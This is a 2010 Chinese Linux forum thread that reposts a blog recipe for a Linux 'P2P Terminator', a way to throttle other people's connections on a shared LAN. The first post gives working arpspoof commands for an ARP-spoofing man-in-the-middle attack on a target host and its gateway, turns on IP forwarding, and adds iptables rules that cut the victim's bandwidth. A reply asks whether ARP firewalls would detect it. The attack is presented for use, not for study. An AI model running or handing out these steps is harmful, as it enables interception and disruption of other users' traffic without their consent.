当前时区为 UTC + 8 小时



发表新帖 回复这个主题  [ 6 篇帖子 ] 
作者 内容
1 楼 
 文章标题 : P2P 终结者 for Linux 出现啦
帖子发表于 : 2010-11-20 21:54 

注册: 2009-02-01 19:41
帖子: 420
送出感谢: 0 次
接收感谢: 2
参考。
http://microcai.gsalex.net/archives/2010/11/p2p-killer-for-linux.html

下面是摘抄


很长一段时间,都在渴望一个 for Linux 的 P2P 终结者。

但是,谁让我们是小众群体呢?所以,没有。

但是,今天我突发奇想,找到了!用脚本实现了 P2P 终结者!

问题是这样的,首先我需要一个 arp 欺骗工具。呵呵, dsniff 就是!

执行 arpspoof 就可以进行 ARP 欺骗了。 不过,呵呵,我只对需要控制的主机进行 ARP 欺骗,比如 192.168.1.100

代码:
 arpspoof -i eth0 -t 192.168.1.100 192.168.1.1
 arpspoof -i eth0 -t 192.168.1.1 192.168.1.100


这样成功的让 192.168.1.100 到 192.168.1.1 之间的通讯全部通过自己了

然后,我打开 内核的 IP 转发。
代码:
 echo 1 > /proc/sys/net/ipv4/ip_forward



呵呵,现在,怎么限速就是我的事情啦! 可以使用 tc 限速,也可以简单的时候 iptables 限速!
比如,使用 iptables 的 limit 匹配模块来限速. 一秒钟是能发送和接收 3 个数据包,这样速度就限制到 4k/s 了

代码:

iptables -A FORWARD -s 192.168.1.100 \
         -m limit --limit 3/s -j ACCEPT         
iptables -A FORWARD -d 192.168.1.100 \
        -m limit --limit 3/s -j ACCEPT                 
iptables -A FORWARD -s 192.168.1.100  -j DROP                                               
iptables -A FORWARD -d 192.168.1.100  -j DROP     



当然,你也可以使用 tc 进行更高级的流量控制。


页首
 用户资料  
 
2 楼 
 文章标题 : Re: P2P 终结者 for Linux 出现啦
帖子发表于 : 2010-11-20 22:02 
头像

注册: 2006-09-10 22:36
帖子: 10670
地址: 北京
送出感谢: 1
接收感谢: 16
:em20


_________________
看破、放下、自在、随缘、念佛
真诚、清净、平等、正觉、慈悲


页首
 用户资料  
 
3 楼 
 文章标题 : Re: P2P 终结者 for Linux 出现啦
帖子发表于 : 2010-11-20 22:05 

注册: 2008-01-09 22:41
帖子: 18311
送出感谢: 0 次
接收感谢: 6
ntop


页首
 用户资料  
 
4 楼 
 文章标题 : Re: P2P 终结者 for Linux 出现啦
帖子发表于 : 2010-11-20 22:49 

注册: 2008-05-10 8:05
帖子: 13
送出感谢: 0 次
接收感谢: 0 次
你说这样弄
内网的win机器装了ARP防火墙能不能发现你


页首
 用户资料  
 
5 楼 
 文章标题 : Re: P2P 终结者 for Linux 出现啦
帖子发表于 : 2010-11-20 23:22 

注册: 2009-06-20 23:53
帖子: 490
送出感谢: 3
接收感谢: 0 次
作个记号


页首
 用户资料  
 
6 楼 
 文章标题 : Re: P2P 终结者 for Linux 出现啦
帖子发表于 : 2010-11-21 14:02 

注册: 2009-02-01 19:41
帖子: 420
送出感谢: 0 次
接收感谢: 2
neomchiang 写道:
你说这样弄
内网的win机器装了ARP防火墙能不能发现你


能 .. 但是用 P2P终结者 也一样啊


页首
 用户资料  
 
显示帖子 :  排序  
发表新帖 回复这个主题  [ 6 篇帖子 ] 

当前时区为 UTC + 8 小时


在线用户

正在浏览此版面的用户:没有注册用户 和 4 位游客


不能 在这个版面发表主题
不能 在这个版面回复主题
不能 在这个版面编辑帖子
不能 在这个版面删除帖子
不能 在这个版面提交附件

前往 :  
本站点为公益性站点,用于推广开源自由软件,由 DiaHosting VPSBudgetVM VPS 提供服务。
我们认为:软件应可免费取得,软件工具在各种语言环境下皆可使用,且不会有任何功能上的差异;
人们应有定制和修改软件的自由,且方式不受限制,只要他们自认为合适。

Powered by phpBB © 2000, 2002, 2005, 2007 phpBB Group
简体中文语系由 王笑宇 翻译